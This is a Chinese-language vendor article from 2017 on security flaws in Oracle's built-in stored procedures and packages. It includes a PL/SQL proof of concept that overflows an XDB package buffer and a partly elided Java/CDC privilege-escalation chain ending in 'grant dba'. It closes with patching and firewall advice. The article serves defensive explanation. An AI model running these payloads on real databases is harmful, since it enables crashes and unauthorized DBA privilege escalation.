数据库自身安全漏洞分析之内建存储对象的安全问题
作者:安华金和 发布时间:2017-01-13

许多数据库系统都提供大量内建的存储过程和软件包。这些存储过程对象为数据库提供了额外的帮助,同时帮助管理员和开发者管理数据库系统。

例如目前用户量最广的Oracle数据库,默认情况下在安装时便拥有多达30000个可以公开访问的对象,这些对象为许多任务(包括访问OS文件、发送HTTP请求、管理XML对象、java服务以及支持复制)提供相应的功能。这些功能都会在网络上开启对应端口,而每多开一个网络端口就为数据库安全造成多一份入侵威胁。

这些内建对象包含的漏洞覆盖了:SQL注入、缓冲区溢出和应用程序逻辑漏洞等。Oracle的内建包中含有大量这种漏洞,我们下面就拿一个XDB上缓冲区溢出的漏洞举例。

Declare

buff varchar2(32767);

begin

buff :=’12345678901234567890123456789’;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=’12345678901234567890123456789’;

XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);

end;

同样java也存在大量此种漏洞,并且危害比上面的XDB还严重

…..DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’,’oracle/aurora/rdbms/DbmsJava’,’SYS’,’writeOutputToFile’,’TEXT’,NULL,NULL,NULL,NULL 0,1,1,1,1,0,’ DECLARE PRAG…….

EXEC DBMS_CDC_ISUBSCRIBE……

上面这个漏洞是针对ORACLE 11.1系列 的JAVA漏洞。利用DBMS_CDC_ISUBSCRIBE 包可被 任意帐号执行,但这个包的创建者是sys。如果执行DBMS_CDC_ISUBSCRIBE 的回话是sys,就可以执行sys权限(提权到DBA)DBMS_JAVA.SET_OUTPUT_TO_JAVA  函数可以把system.err的java重定向到一个新的会话中。于是我们故意输入错误参数导致DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW 产生错误,并把错误写入到system.err中。同时创建一个新SYS权限会话 。真正被执行的语句是 EXECUTE IMMEDIATE "grant dba to user()"

我们从上面的例子中不难看出这种漏洞对于数据库安全的危害很大。建议数据库的使用者及时更新数据库厂商发布的官方补丁,同时关闭不必要的对象以及对应端口。如果由于某种原因无法对数据库进行补丁升级,建议使用带VPATCH功能的数据库防火墙保护数据库安全